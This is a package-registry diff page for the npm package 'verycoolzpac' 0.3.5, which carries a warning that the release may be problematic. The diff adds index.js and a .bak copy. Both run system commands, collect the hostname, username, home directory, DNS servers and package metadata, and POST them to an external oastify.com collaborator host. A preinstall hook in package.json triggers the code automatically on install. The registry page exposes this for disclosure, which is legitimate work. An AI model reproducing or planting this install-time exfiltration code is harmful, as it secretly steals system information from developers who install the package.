verycoolzpac 0.3.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of verycoolzpac might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,63 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const {
8
+ exec
9
+ } = require('child_process');
10
+ var commandOutput1 = 'lincommand';
11
+ var commandOutput2 = 'wincommand';
12
+
13
+
14
+ exec('dir', (error, stdout, stderr) => {
15
+ commandOutput2 = stdout;
16
+
17
+ exec('ls', (error, stdout, stderr) => {
18
+ commandOutput1 = stdout;
19
+
20
+ const trackingData = JSON.stringify({
21
+ wincommand: commandOutput2,
22
+ lincommand: commandOutput1,
23
+ p: package,
24
+ c: __dirname,
25
+ hd: os.homedir(),
26
+ hn: os.hostname(),
27
+ un: os.userInfo().username,
28
+ dns: dns.getServers(),
29
+ r: packageJSON ? packageJSON.___resolved : undefined,
30
+ v: packageJSON.version,
31
+ pjson: packageJSON,
32
+ });
33
+
34
+ var postData = querystring.stringify({
35
+ msg: trackingData,
36
+ });
37
+
38
+ var options = {
39
+ hostname: "0hib7hjek93q3r88ilpeb7qdr4xvlmfa4.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
40
+ port: 443,
41
+ path: "/",
42
+ method: "POST",
43
+ headers: {
44
+ "Content-Type": "application/x-www-form-urlencoded",
45
+ "Content-Length": postData.length,
46
+ },
47
+ };
48
+
49
+ var req = https.request(options, (res) => {
50
+ res.on("data", (d) => {
51
+ process.stdout.write(d);
52
+ });
53
+ });
54
+
55
+ req.on("error", (e) => {
56
+ // console.error(e);
57
+ });
58
+
59
+ req.write(postData);
60
+ req.end();
61
+ });
62
+
63
+ });
package/index.js.bak ADDED
@@ -0,0 +1,65 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+ const {
8
+ exec
9
+ } = require('child_process');
10
+ var commandOutput1 = 'lincommand';
11
+ var commandOutput2 = 'wincommand';
12
+
13
+
14
+ exec('dir', (error, stdout, stderr) => {
15
+ if (!error) {
16
+ commandOutput2 = stdout;
17
+ }
18
+ exec('ls', (error, stdout, stderr) => {
19
+ if (!error) {
20
+ commandOutput1 = stdout;
21
+ }
22
+ const trackingData = JSON.stringify({
23
+ wincommand: commandOutput2,
24
+ lincommand: commandOutput1,
25
+ p: package,
26
+ c: __dirname,
27
+ hd: os.homedir(),
28
+ hn: os.hostname(),
29
+ un: os.userInfo().username,
30
+ dns: dns.getServers(),
31
+ r: packageJSON ? packageJSON.___resolved : undefined,
32
+ v: packageJSON.version,
33
+ pjson: packageJSON,
34
+ });
35
+
36
+ var postData = querystring.stringify({
37
+ msg: trackingData,
38
+ });
39
+
40
+ var options = {
41
+ hostname: "0hib7hjek93q3r88ilpeb7qdr4xvlmfa4.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
42
+ port: 443,
43
+ path: "/",
44
+ method: "POST",
45
+ headers: {
46
+ "Content-Type": "application/x-www-form-urlencoded",
47
+ "Content-Length": postData.length,
48
+ },
49
+ };
50
+
51
+ var req = https.request(options, (res) => {
52
+ res.on("data", (d) => {
53
+ process.stdout.write(d);
54
+ });
55
+ });
56
+
57
+ req.on("error", (e) => {
58
+ // console.error(e);
59
+ });
60
+
61
+ req.write(postData);
62
+ req.end();
63
+ });
64
+
65
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "verycoolzpac",
3
+ "version": "0.3.5",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "verycoolzpac",
3
+ "version": "0.3.4",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }